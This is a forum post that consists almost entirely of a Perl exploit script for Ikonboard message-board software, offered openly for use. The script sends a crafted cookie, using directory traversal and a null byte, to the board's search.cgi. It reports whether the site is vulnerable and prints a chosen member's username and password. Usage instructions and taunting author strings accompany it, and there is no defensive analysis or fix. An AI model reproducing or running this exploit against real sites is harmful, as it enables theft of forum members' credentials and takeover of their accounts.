Jump to content
Ras

ikonboard All Versions Remote Password Disclosure

Recommended Posts

Posted
#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
&help unless $#ARGV == 2;
&help unless $ARGV[0] =~ m/^(.*)\\.(.*)/gi;
&help unless $ARGV[2] =~ m/^\\/(.*)\\//gi;
my $host = $ARGV[0];
my $user = $ARGV[1];
my $path = $ARGV[2];
our $lwp = new LWP::UserAgent;
$lwp -> agent(\"Ik0nb04d w4r3z by n0stur. ph33r bitchez!\");
our $get = $lwp -> get(\"http://\".$host.\"/cgi-bin\".$path.\"search.cgi?action=display\", \'Cookie\' => \"amembernamecookie=../members/\".$user.\".cgi%00;\") || print \"\\n[-] $!\\n\";

if($get->content() =~ /$user/){ print \"\\n[*] Vulnerable\\n\";} else { &end; }

$get->content() =~ /forum=(\\w+)&topic=(\\w+)/;
print \"\\n[+] Username: \".$1.\"\\n\";
print \"[+] Password: \".$2.\"\\n\";
print \"Service provided by nostur. njoy, bitchez!\\n\";
sub help {
print qq^
Ikonboard all versions remote password disclosure
Found by: anonymous...
Code by: nostur
->Usage: $0 <host> <user> <path_to_ikonboard_in_cgibin>
^;
die(\"\\nNot enough parameters, check the code...\\n\");
}
sub end { die(\"\\n[-]Not Vulnerable\\n\"); }

# notsec.com

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...